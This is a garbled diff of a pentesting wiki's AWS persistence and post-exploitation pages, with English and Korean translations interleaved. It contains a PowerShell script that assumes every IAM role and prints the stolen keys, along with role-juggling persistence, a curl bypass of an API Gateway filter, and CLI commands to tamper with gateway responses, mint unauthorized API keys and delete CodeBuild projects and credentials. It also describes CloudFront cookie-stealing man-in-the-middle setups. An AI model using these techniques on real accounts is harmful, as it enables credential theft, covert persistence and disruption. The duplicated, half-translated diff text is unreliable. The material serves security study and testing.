Temporary tokens cannot be listed, so maintaining an active temporary token is a way to maintain persistence.
|
||||
임시 토큰은 나열할 수 없으므로, 활성 임시 토큰을 유지하는 것이 지속성을 유지하는 방법입니다.
|
||||
|
||||
<pre class="language-bash"><code class="lang-bash">aws sts get-session-token --duration-seconds 129600
|
||||
|
||||
# With MFA
|
||||
# MFA 사용 시
|
||||
aws sts get-session-token \
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
--serial-number <mfa-device-name> \
|
||||
--token-code <code-from-token>
|
||||
|
||||
# Hardware device name is usually the number from the back of the device, such as GAHT12345678
|
||||
<strong># SMS device name is the ARN in AWS, such as arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># Vritual device name is the ARN in AWS, such as arn:aws:iam::123456789012:mfa/username
|
||||
# 하드웨어 장치 이름은 일반적으로 장치 뒷면의 번호, 예: GAHT12345678
|
||||
<strong># SMS 장치 이름은 AWS의 ARN, 예: arn:aws:iam::123456789012:sms-mfa/username
|
||||
</strong># 가상 장치 이름은 AWS의 ARN, 예: arn:aws:iam::123456789012:mfa/username
|
||||
</code></pre>
|
||||
|
||||
### Role Chain Juggling
|
||||
|
||||
[**Role chaining is an acknowledged AWS feature**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), often utilized for maintaining stealth persistence. It involves the ability to **assume a role which then assumes another**, potentially reverting to the initial role in a **cyclical manner**. Each time a role is assumed, the credentials' expiration field is refreshed. Consequently, if two roles are configured to mutually assume each other, this setup allows for the perpetual renewal of credentials.
|
||||
|
||||
You can use this [**tool**](https://github.com/hotnops/AWSRoleJuggler/) to keep the role chaining going:
|
||||
[**역할 체이닝은 인정된 AWS 기능입니다**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_terms-and-concepts.html#Role%20chaining), 종종 은밀한 지속성을 유지하는 데 사용됩니다. 이는 **역할을 가정한 후 다른 역할을 가정하는** 능력을 포함하며, **순환 방식으로** 초기 역할로 되돌아갈 수 있습니다. 역할이 가정될 때마다 자격 증명의 만료 필드가 새로 고쳐집니다. 따라서 두 역할이 서로를 상호 가정하도록 구성되면, 이 설정은 자격 증명의 지속적인 갱신을 허용합니다.
|
||||
|
||||
이 [**도구**](https://github.com/hotnops/AWSRoleJuggler/)를 사용하여 역할 체이닝을 계속할 수 있습니다:
|
||||
```bash
|
||||
./aws_role_juggler.py -h
|
||||
usage: aws_role_juggler.py [-h] [-r ROLE_LIST [ROLE_LIST ...]]
|
||||
|
||||
optional arguments:
|
||||
-h, --help show this help message and exit
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
-h, --help show this help message and exit
|
||||
-r ROLE_LIST [ROLE_LIST ...], --role-list ROLE_LIST [ROLE_LIST ...]
|
||||
```
|
||||
|
||||
> [!CAUTION]
|
||||
> Note that the [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) script from that Github repository doesn't find all the ways a role chain can be configured.
|
||||
> 해당 GitHub 리포지토리의 [find_circular_trust.py](https://github.com/hotnops/AWSRoleJuggler/blob/master/find_circular_trust.py) 스크립트는 역할 체인이 구성될 수 있는 모든 방법을 찾지 못합니다.
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Code to perform Role Juggling from PowerShell</summary>
|
||||
|
||||
<summary>PowerShell에서 역할 조작을 수행하는 코드</summary>
|
||||
```powershell
|
||||
# PowerShell script to check for role juggling possibilities using AWS CLI
|
||||
|
||||
# Check for AWS CLI installation
|
||||
if (-not (Get-Command "aws" -ErrorAction SilentlyContinue)) {
|
||||
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
|
||||
exit
|
||||
Write-Error "AWS CLI is not installed. Please install it and configure it with 'aws configure'."
|
||||
exit
|
||||
}
|
||||
|
||||
# Function to list IAM roles
|
||||
function List-IAMRoles {
|
||||
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
|
||||
aws iam list-roles --query "Roles[*].{RoleName:RoleName, Arn:Arn}" --output json
|
||||
}
|
||||
|
||||
# Initialize error count
|
||||
@@ -70,66 +67,61 @@ $roles = List-IAMRoles | ConvertFrom-Json
|
||||
|
||||
# Attempt to assume each role
|
||||
foreach ($role in $roles) {
|
||||
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($credentials) {
|
||||
Write-Host "Successfully assumed role: $($role.RoleName)"
|
||||
Write-Host "Access Key: $($credentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($credentials.SessionToken)"
|
||||
Write-Host "Expiration: $($credentials.Expiration)"
|
||||
$sessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$credentials = aws sts assume-role --role-arn $role.Arn --role-session-name $sessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($credentials) {
|
||||
Write-Host "Successfully assumed role: $($role.RoleName)"
|
||||
Write-Host "Access Key: $($credentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($credentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($credentials.SessionToken)"
|
||||
Write-Host "Expiration: $($credentials.Expiration)"
|
||||
|
||||
# Set temporary credentials to assume the next role
|
||||
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
|
||||
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
|
||||
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
|
||||
# Set temporary credentials to assume the next role
|
||||
$env:AWS_ACCESS_KEY_ID = $credentials.AccessKeyId
|
||||
$env:AWS_SECRET_ACCESS_KEY = $credentials.SecretAccessKey
|
||||
$env:AWS_SESSION_TOKEN = $credentials.SessionToken
|
||||
|
||||
# Try to assume another role using the temporary credentials
|
||||
foreach ($nextRole in $roles) {
|
||||
if ($nextRole.Arn -ne $role.Arn) {
|
||||
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($nextCredentials) {
|
||||
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
|
||||
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($nextCredentials.SessionToken)"
|
||||
Write-Host "Expiration: $($nextCredentials.Expiration)"
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
# Try to assume another role using the temporary credentials
|
||||
foreach ($nextRole in $roles) {
|
||||
if ($nextRole.Arn -ne $role.Arn) {
|
||||
$nextSessionName = "RoleJugglingTest-" + (Get-Date -Format FileDateTime)
|
||||
try {
|
||||
$nextCredentials = aws sts assume-role --role-arn $nextRole.Arn --role-session-name $nextSessionName --query "Credentials" --output json 2>$null | ConvertFrom-Json
|
||||
if ($nextCredentials) {
|
||||
Write-Host "Also successfully assumed role: $($nextRole.RoleName) from $($role.RoleName)"
|
||||
Write-Host "Access Key: $($nextCredentials.AccessKeyId)"
|
||||
Write-Host "Secret Access Key: $($nextCredentials.SecretAccessKey)"
|
||||
Write-Host "Session Token: $($nextCredentials.SessionToken)"
|
||||
Write-Host "Expiration: $($nextCredentials.Expiration)"
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
# Reset environment variables
|
||||
Remove-Item Env:\AWS_ACCESS_KEY_ID
|
||||
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
|
||||
Remove-Item Env:\AWS_SESSION_TOKEN
|
||||
} else {
|
||||
$errorCount++
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
# Reset environment variables
|
||||
Remove-Item Env:\AWS_ACCESS_KEY_ID
|
||||
Remove-Item Env:\AWS_SECRET_ACCESS_KEY
|
||||
Remove-Item Env:\AWS_SESSION_TOKEN
|
||||
} else {
|
||||
$errorCount++
|
||||
}
|
||||
} catch {
|
||||
$errorCount++
|
||||
}
|
||||
}
|
||||
|
||||
# Output the number of errors if any
|
||||
if ($errorCount -gt 0) {
|
||||
Write-Host "$errorCount error(s) occurred during role assumption attempts."
|
||||
Write-Host "$errorCount error(s) occurred during role assumption attempts."
|
||||
} else {
|
||||
Write-Host "No errors occurred. All roles checked successfully."
|
||||
Write-Host "No errors occurred. All roles checked successfully."
|
||||
}
|
||||
|
||||
Write-Host "Role juggling check complete."
|
||||
```
|
||||
|
||||
</details>
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -1,6 +1 @@
|
||||
# AWS - Post Exploitation
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
# AWS - 포스트 익스플로이테이션
|
||||
|
||||
@@ -4,38 +4,34 @@
|
||||
|
||||
## API Gateway
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-api-gateway-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Access unexposed APIs
|
||||
### 노출되지 않은 API 접근
|
||||
|
||||
You can create an endpoint in [https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:) with the service `com.amazonaws.us-east-1.execute-api`, expose the endpoint in a network where you have access (potentially via an EC2 machine) and assign a security group allowing all connections.\
|
||||
Then, from the EC2 machine you will be able to access the endpoint and therefore call the gateway API that wasn't exposed before.
|
||||
[https://us-east-1.console.aws.amazon.com/vpc/home#CreateVpcEndpoint](https://us-east-1.console.aws.amazon.com/vpc/home?region=us-east-1#CreateVpcEndpoint:)에서 서비스 `com.amazonaws.us-east-1.execute-api`로 엔드포인트를 생성하고, 접근할 수 있는 네트워크(잠재적으로 EC2 머신을 통해)에서 엔드포인트를 노출시키고 모든 연결을 허용하는 보안 그룹을 할당합니다.\
|
||||
그런 다음, EC2 머신에서 엔드포인트에 접근할 수 있으며, 따라서 이전에 노출되지 않았던 게이트웨이 API를 호출할 수 있습니다.
|
||||
|
||||
### Bypass Request body passthrough
|
||||
### 요청 본문 패스스루 우회
|
||||
|
||||
This technique was found in [**this CTF writeup**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp).
|
||||
이 기술은 [**이 CTF 작성글**](https://blog-tyage-net.translate.goog/post/2023/2023-09-03-midnightsun/?_x_tr_sl=en&_x_tr_tl=es&_x_tr_hl=en&_x_tr_pto=wapp)에서 발견되었습니다.
|
||||
|
||||
As indicated in the [**AWS documentation**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html) in the `PassthroughBehavior` section, by default, the value **`WHEN_NO_MATCH`** , when checking the **Content-Type** header of the request, will pass the request to the back end with no transformation.
|
||||
|
||||
Therefore, in the CTF the API Gateway had an integration template that was **preventing the flag from being exfiltrated** in a response when a request was sent with `Content-Type: application/json`:
|
||||
[**AWS 문서**](https://docs.aws.amazon.com/AWSCloudFormation/latest/UserGuide/aws-properties-apigateway-method-integration.html)에서 `PassthroughBehavior` 섹션에 명시된 바와 같이, 기본적으로 **`WHEN_NO_MATCH`** 값은 요청의 **Content-Type** 헤더를 확인할 때 변환 없이 요청을 백엔드로 전달합니다.
|
||||
|
||||
따라서 CTF에서 API Gateway는 요청이 `Content-Type: application/json`으로 전송될 때 **플래그가 응답으로 유출되는 것을 방지하는** 통합 템플릿을 가지고 있었습니다.
|
||||
```yaml
|
||||
RequestTemplates:
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
application/json: '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename=:moviename","FilterExpression": "not contains(#description, :flagstring)","ExpressionAttributeNames": {"#description": "description"},"ExpressionAttributeValues":{":moviename":{"S":"$util.escapeJavaScript($input.params(''moviename''))"},":flagstring":{"S":"midnight"}}}'
|
||||
```
|
||||
그러나 **`Content-type: text/json`**으로 요청을 보내면 해당 필터를 우회할 수 있습니다.
|
||||
|
||||
However, sending a request with **`Content-type: text/json`** would prevent that filter.
|
||||
|
||||
Finally, as the API Gateway was only allowing `Get` and `Options`, it was possible to send an arbitrary dynamoDB query without any limit sending a POST request with the query in the body and using the header `X-HTTP-Method-Override: GET`:
|
||||
|
||||
마지막으로, API Gateway가 `Get`과 `Options`만 허용하므로, 본문에 쿼리를 포함한 POST 요청을 보내고 헤더 `X-HTTP-Method-Override: GET`을 사용하여 임의의 dynamoDB 쿼리를 제한 없이 보낼 수 있었습니다:
|
||||
```bash
|
||||
curl https://vu5bqggmfc.execute-api.eu-north-1.amazonaws.com/prod/movies/hackers -H 'X-HTTP-Method-Override: GET' -H 'Content-Type: text/json' --data '{"TableName":"Movies","IndexName":"MovieName-Index","KeyConditionExpression":"moviename = :moviename","ExpressionAttributeValues":{":moviename":{"S":"hackers"}}}'
|
||||
```
|
||||
|
||||
### Usage Plans DoS
|
||||
|
||||
In the **Enumeration** section you can see how to **obtain the usage plan** of the keys. If you have the key and it's **limited** to X usages **per month**, you could **just use it and cause a DoS**.
|
||||
@@ -44,8 +40,7 @@ The **API Key** just need to be **included** inside a **HTTP header** called **`
|
||||
|
||||
### `apigateway:UpdateGatewayResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **modify an existing Gateway Response to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateGatewayResponse` and `apigateway:CreateDeployment` can **기존 Gateway Response를 수정하여 민감한 정보를 유출하거나 악성 스크립트를 실행하는 사용자 정의 헤더 또는 응답 템플릿을 포함할 수 있습니다**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESPONSE_TYPE="DEFAULT_4XX"
|
||||
@@ -56,16 +51,14 @@ aws apigateway update-gateway-response --rest-api-id $API_ID --response-type $RE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
|
||||
**잠재적 영향**: 민감한 정보 유출, 악성 스크립트 실행 또는 API 리소스에 대한 무단 접근.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> 테스트 필요
|
||||
|
||||
### `apigateway:UpdateStage`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateStage` and `apigateway:CreateDeployment` can **modify an existing API Gateway stage to redirect traffic to a different stage or change the caching settings to gain unauthorized access to cached data**.
|
||||
|
||||
`apigateway:UpdateStage` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway 단계를 수정하여 트래픽을 다른 단계로 리디렉션하거나 캐싱 설정을 변경하여 캐시된 데이터에 무단으로 접근할 수 있습니다**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
STAGE_NAME="Prod"
|
||||
@@ -76,16 +69,14 @@ aws apigateway update-stage --rest-api-id $API_ID --stage-name $STAGE_NAME --pat
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to cached data, disrupting or intercepting API traffic.
|
||||
**잠재적 영향**: 캐시된 데이터에 대한 무단 접근, API 트래픽의 중단 또는 가로채기.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> 테스트 필요
|
||||
|
||||
### `apigateway:PutMethodResponse`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:PutMethodResponse` and `apigateway:CreateDeployment` can **modify the method response of an existing API Gateway REST API method to include custom headers or response templates that leak sensitive information or execute malicious scripts**.
|
||||
|
||||
`apigateway:PutMethodResponse` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **기존 API Gateway REST API 메서드의 메서드 응답을 수정하여 민감한 정보를 유출하거나 악성 스크립트를 실행하는 사용자 정의 헤더 또는 응답 템플릿을 포함할 수 있습니다**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
RESOURCE_ID="your-resource-id"
|
||||
@@ -98,16 +89,14 @@ aws apigateway put-method-response --rest-api-id $API_ID --resource-id $RESOURCE
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Leakage of sensitive information, executing malicious scripts, or unauthorized access to API resources.
|
||||
**잠재적 영향**: 민감한 정보 유출, 악성 스크립트 실행 또는 API 리소스에 대한 무단 접근.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> 테스트 필요
|
||||
|
||||
### `apigateway:UpdateRestApi`, `apigateway:CreateDeployment`
|
||||
|
||||
An attacker with the permissions `apigateway:UpdateRestApi` and `apigateway:CreateDeployment` can **modify the API Gateway REST API settings to disable logging or change the minimum TLS version, potentially weakening the security of the API**.
|
||||
|
||||
`apigateway:UpdateRestApi` 및 `apigateway:CreateDeployment` 권한을 가진 공격자는 **API Gateway REST API 설정을 수정하여 로깅을 비활성화하거나 최소 TLS 버전을 변경하여 API의 보안을 약화시킬 수 있습니다**.
|
||||
```bash
|
||||
API_ID="your-api-id"
|
||||
|
||||
@@ -117,16 +106,14 @@ aws apigateway update-rest-api --rest-api-id $API_ID --patch-operations op=repla
|
||||
# Create a deployment for the updated API Gateway REST API
|
||||
aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod
|
||||
```
|
||||
|
||||
**Potential Impact**: Weakening the security of the API, potentially allowing unauthorized access or exposing sensitive information.
|
||||
**잠재적 영향**: API의 보안을 약화시켜, 무단 접근을 허용하거나 민감한 정보를 노출할 수 있습니다.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> 테스트 필요
|
||||
|
||||
### `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, `apigateway:CreateUsagePlanKey`
|
||||
|
||||
An attacker with permissions `apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, and `apigateway:CreateUsagePlanKey` can **create new API keys, associate them with usage plans, and then use these keys for unauthorized access to APIs**.
|
||||
|
||||
`apigateway:CreateApiKey`, `apigateway:UpdateApiKey`, `apigateway:CreateUsagePlan`, 및 `apigateway:CreateUsagePlanKey` 권한을 가진 공격자는 **새 API 키를 생성하고, 이를 사용 계획에 연결한 다음, 이러한 키를 사용하여 API에 무단 접근할 수 있습니다**.
|
||||
```bash
|
||||
# Create a new API key
|
||||
API_KEY=$(aws apigateway create-api-key --enabled --output text --query 'id')
|
||||
@@ -137,14 +124,9 @@ USAGE_PLAN=$(aws apigateway create-usage-plan --name "MaliciousUsagePlan" --outp
|
||||
# Associate the API key with the usage plan
|
||||
aws apigateway create-usage-plan-key --usage-plan-id $USAGE_PLAN --key-id $API_KEY --key-type API_KEY
|
||||
```
|
||||
|
||||
**Potential Impact**: Unauthorized access to API resources, bypassing security controls.
|
||||
**잠재적 영향**: API 리소스에 대한 무단 접근, 보안 통제 우회.
|
||||
|
||||
> [!NOTE]
|
||||
> Need testing
|
||||
> 테스트 필요
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## CloudFront
|
||||
|
||||
For more information check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../aws-services/aws-cloudfront-enum.md
|
||||
@@ -12,24 +12,20 @@ For more information check:
|
||||
|
||||
### Man-in-the-Middle
|
||||
|
||||
This [**blog post**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c) proposes a couple of different scenarios where a **Lambda** could be added (or modified if it's already being used) into a **communication through CloudFront** with the purpose of **stealing** user information (like the session **cookie**) and **modifying** the **response** (injecting a malicious JS script).
|
||||
이 [**블로그 게시물**](https://medium.com/@adan.alvarez/how-attackers-can-misuse-aws-cloudfront-access-to-make-it-rain-cookies-acf9ce87541c)은 **Lambda**를 **CloudFront를 통한 통신**에 추가하거나 (이미 사용 중인 경우 수정하여) 사용자 정보를 **훔치고** (세션 **쿠키**와 같은) **응답을 수정**하는 몇 가지 다른 시나리오를 제안합니다 (악성 JS 스크립트 주입).
|
||||
|
||||
#### scenario 1: MitM where CloudFront is configured to access some HTML of a bucket
|
||||
#### 시나리오 1: CloudFront가 버킷의 일부 HTML에 접근하도록 구성된 MitM
|
||||
|
||||
- **Create** the malicious **function**.
|
||||
- **Associate** it with the CloudFront distribution.
|
||||
- Set the **event type to "Viewer Response"**.
|
||||
- **악성** **함수**를 **생성**합니다.
|
||||
- CloudFront 배포와 **연결**합니다.
|
||||
- **이벤트 유형을 "Viewer Response"**로 설정합니다.
|
||||
|
||||
Accessing the response you could steal the users cookie and inject a malicious JS.
|
||||
응답에 접근하여 사용자의 쿠키를 훔치고 악성 JS를 주입할 수 있습니다.
|
||||
|
||||
#### scenario 2: MitM where CloudFront is already using a lambda function
|
||||
#### 시나리오 2: CloudFront가 이미 lambda 함수를 사용하는 MitM
|
||||
|
||||
- **Modify the code** of the lambda function to steal sensitive information
|
||||
- 민감한 정보를 훔치기 위해 lambda 함수의 **코드를 수정**합니다.
|
||||
|
||||
You can check the [**tf code to recreate this scenarios here**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
이 시나리오를 재현하기 위한 [**tf 코드 확인하기**](https://github.com/adanalvarez/AWS-Attack-Scenarios/tree/main).
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -4,85 +4,73 @@
|
||||
|
||||
## CodeBuild
|
||||
|
||||
For more information, check:
|
||||
자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{{#ref}}
|
||||
../../aws-services/aws-codebuild-enum.md
|
||||
{{#endref}}
|
||||
|
||||
### Check Secrets
|
||||
### 비밀 확인
|
||||
|
||||
If credentials have been set in Codebuild to connect to Github, Gitlab or Bitbucket in the form of personal tokens, passwords or OAuth token access, these **credentials are going to be stored as secrets in the secret manager**.\
|
||||
Therefore, if you have access to read the secret manager you will be able to get these secrets and pivot to the connected platform.
|
||||
Github, Gitlab 또는 Bitbucket에 연결하기 위해 Codebuild에 자격 증명이 개인 토큰, 비밀번호 또는 OAuth 토큰 접근 형태로 설정된 경우, 이 **자격 증명은 비밀 관리자에 비밀로 저장됩니다**.\
|
||||
따라서 비밀 관리자를 읽을 수 있는 접근 권한이 있다면 이러한 비밀을 얻고 연결된 플랫폼으로 피벗할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
../../aws-privilege-escalation/aws-secrets-manager-privesc.md
|
||||
{{#endref}}
|
||||
|
||||
### Abuse CodeBuild Repo Access
|
||||
### CodeBuild 리포지토리 접근 남용
|
||||
|
||||
In order to configure **CodeBuild**, it will need **access to the code repo** that it's going to be using. Several platforms could be hosting this code:
|
||||
**CodeBuild**를 구성하려면 **사용할 코드 리포지토리에 접근해야** 합니다. 여러 플랫폼이 이 코드를 호스팅할 수 있습니다:
|
||||
|
||||
<figure><img src="../../../../images/image (96).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
The **CodeBuild project must have access** to the configured source provider, either via **IAM role** of with a github/bitbucket **token or OAuth access**.
|
||||
**CodeBuild 프로젝트는** 구성된 소스 제공자에 접근할 수 있어야 하며, **IAM 역할** 또는 github/bitbucket **토큰 또는 OAuth 접근**을 통해 가능합니다.
|
||||
|
||||
An attacker with **elevated permissions in over a CodeBuild** could abuse this configured access to leak the code of the configured repo and others where the set creds have access.\
|
||||
In order to do this, an attacker would just need to **change the repository URL to each repo the config credentials have access** (note that the aws web will list all of them for you):
|
||||
**CodeBuild에서 권한이 상승된 공격자**는 이 구성된 접근을 남용하여 구성된 리포지토리의 코드를 유출하고 설정된 자격 증명이 접근할 수 있는 다른 리포지토리의 코드를 유출할 수 있습니다.\
|
||||
이를 위해 공격자는 **구성된 자격 증명이 접근할 수 있는 각 리포지토리의 URL을 변경하기만 하면 됩니다** (aws 웹사이트에서 모든 리포지토리를 나열해 줍니다):
|
||||
|
||||
<figure><img src="../../../../images/image (107).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
And **change the Buildspec commands to exfiltrate each repo**.
|
||||
그리고 **각 리포지토리를 유출하기 위해 Buildspec 명령을 변경합니다**.
|
||||
|
||||
> [!WARNING]
|
||||
> However, this **task is repetitive and tedious** and if a github token was configured with **write permissions**, an attacker **won't be able to (ab)use those permissions** as he doesn't have access to the token.\
|
||||
> Or does he? Check the next section
|
||||
> 그러나 이 **작업은 반복적이고 지루합니다**. 만약 github 토큰이 **쓰기 권한**으로 구성되었다면, 공격자는 **그 권한을 (남)용할 수 없습니다**. 왜냐하면 그는 토큰에 접근할 수 없기 때문입니다.\
|
||||
> 아니면 접근할 수 있을까요? 다음 섹션을 확인하세요.
|
||||
|
||||
### Leaking Access Tokens from AWS CodeBuild
|
||||
|
||||
You can leak access given in CodeBuild to platforms like Github. Check if any access to external platforms was given with:
|
||||
### AWS CodeBuild에서 접근 토큰 유출
|
||||
|
||||
CodeBuild에서 Github과 같은 플랫폼에 주어진 접근을 유출할 수 있습니다. 외부 플랫폼에 대한 접근이 주어졌는지 확인하세요:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
|
||||
{{#ref}}
|
||||
aws-codebuild-token-leakage.md
|
||||
{{#endref}}
|
||||
|
||||
### `codebuild:DeleteProject`
|
||||
|
||||
An attacker could delete an entire CodeBuild project, causing loss of project configuration and impacting applications relying on the project.
|
||||
|
||||
공격자는 전체 CodeBuild 프로젝트를 삭제할 수 있으며, 이로 인해 프로젝트 구성 손실이 발생하고 프로젝트에 의존하는 애플리케이션에 영향을 미칠 수 있습니다.
|
||||
```bash
|
||||
aws codebuild delete-project --name <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Loss of project configuration and service disruption for applications using the deleted project.
|
||||
**잠재적 영향**: 삭제된 프로젝트를 사용하는 애플리케이션에 대한 프로젝트 구성 손실 및 서비스 중단.
|
||||
|
||||
### `codebuild:TagResource` , `codebuild:UntagResource`
|
||||
|
||||
An attacker could add, modify, or remove tags from CodeBuild resources, disrupting your organization's cost allocation, resource tracking, and access control policies based on tags.
|
||||
|
||||
공격자는 CodeBuild 리소스에서 태그를 추가, 수정 또는 제거할 수 있으며, 이는 귀하의 조직의 비용 할당, 리소스 추적 및 태그 기반 접근 제어 정책을 방해할 수 있습니다.
|
||||
```bash
|
||||
aws codebuild tag-resource --resource-arn <value> --tags <value>
|
||||
aws codebuild untag-resource --resource-arn <value> --tag-keys <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of cost allocation, resource tracking, and tag-based access control policies.
|
||||
**잠재적 영향**: 비용 할당, 리소스 추적 및 태그 기반 액세스 제어 정책의 중단.
|
||||
|
||||
### `codebuild:DeleteSourceCredentials`
|
||||
|
||||
An attacker could delete source credentials for a Git repository, impacting the normal functioning of applications relying on the repository.
|
||||
|
||||
공격자는 Git 리포지토리에 대한 소스 자격 증명을 삭제할 수 있으며, 이는 리포지토리에 의존하는 애플리케이션의 정상적인 기능에 영향을 미칩니다.
|
||||
```sql
|
||||
aws codebuild delete-source-credentials --arn <value>
|
||||
```
|
||||
|
||||
**Potential Impact**: Disruption of normal functioning for applications relying on the affected repository due to the removal of source credentials.
|
||||
**잠재적 영향**: 소스 자격 증명의 제거로 인해 영향을 받는 리포지토리에 의존하는 애플리케이션의 정상적인 기능이 중단됩니다.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
|
||||
|
||||
|
||||
|
||||
@@ -2,73 +2,68 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
## Recover Github/Bitbucket Configured Tokens
|
||||
|
||||
First, check if there are any source credentials configured that you could leak:
|
||||
## Github/Bitbucket에 구성된 토큰 복구
|
||||
|
||||
먼저, 유출할 수 있는 소스 자격 증명이 구성되어 있는지 확인하십시오:
|
||||
```bash
|
||||
aws codebuild list-source-credentials
|
||||
```
|
||||
|
||||
### Via Docker Image
|
||||
|
||||
If you find that authentication to for example Github is set in the account, you can **exfiltrate** that **access** (**GH token or OAuth token**) by making Codebuild to **use an specific docker image** to run the build of the project.
|
||||
만약 계정에 Github에 대한 인증이 설정되어 있다면, Codebuild가 프로젝트 빌드를 실행하기 위해 **특정 도커 이미지를 사용하도록** 하여 **액세스** (**GH 토큰 또는 OAuth 토큰**)을 **유출**할 수 있습니다.
|
||||
|
||||
